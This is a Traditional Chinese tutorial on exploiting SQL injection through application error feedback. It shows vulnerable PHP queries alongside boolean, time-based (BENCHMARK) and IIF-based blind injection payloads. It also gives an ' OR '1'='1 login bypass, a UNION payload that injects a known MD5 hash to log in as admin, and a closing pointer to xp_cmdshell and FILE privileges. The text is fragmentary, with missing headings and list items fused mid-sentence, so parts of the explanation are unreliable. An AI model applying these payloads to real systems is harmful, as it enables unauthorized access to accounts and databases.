錯誤回顯指應用程式對異常輸入產生的差異化回應。高手極重視此點,因為它是判斷注入點、推斷資料庫結構、提取數據的關鍵線索。錯誤主要分三類:
由 SQL 邏輯條件導致結果集差異引發。典型案例:
$sql = "SELECT * FROM news WHERE id=$_GET[id]";
-- 注入 1=1
SELECT * FROM news WHERE id=1 AND 1=1; -- 返回正常結果集
-- 注入 1=2
SELECT * FROM news WHERE id=1 AND 1=2; -- 結果集為空
核心機制:
AND 1=2 導致結果集為 NULL,應用若未處理空結果集會顯示異常或跳轉OR 1=1 導致結果集暴增,若程式採用循環讀取首行,可能返回非預期記錄(如第一筆管理員帳號)NULL,可作為識別特徵構造非法 SQL 語法觸發資料庫拋錯。不同資料庫表現差異大:
INT = VARCHAR)觸發報錯,提取數據利用資料庫功能導致查詢超時或資源耗盡:
BENCHMARK(1000000, MD5('A')) 導致腳本超時,獲取物理路徑或進行盲注判斷當回顯不明顯時,利用條件函數製造可觀測差異:
-- 假設支援 IIF(條件, 真值, 假值)
id=1 AND 1 = IIF(1=1, 1, 'no') -- 正常,1=1
id=1 AND 1 = IIF(1=2, 1, 'no') -- 語法錯誤:INT 對比 VARCHAR
透過「正常 vs 報錯」的二元回顯,實現盲注位元提取。
$sql = "SELECT TOP 1 * FROM admin WHERE username='$username' AND password=MD5('$pass')";
-- 輸入: ' OR '1'='1
-- SQL: SELECT TOP 1 * FROM admin WHERE username='' OR '1'='1' AND password=MD5('...')
-- 返回第一筆記錄,驗證通過
$sql = "SELECT TOP 1 * FROM admin WHERE username='$username'";
-- ' OR '1'='1 返回第一筆記錄,但後續 PHP 比對 MD5 失敗
-- 解法:UNION 注入構造預期結果集
' AND 1=2 UNION SELECT TOP 1 'admin', '123456_MD5', 1 FROM admin WHERE username='admin
-- 密碼欄位被替換為已知 MD5,使用 admin/123456 登入成功
xp_cmdshell、FILE 權限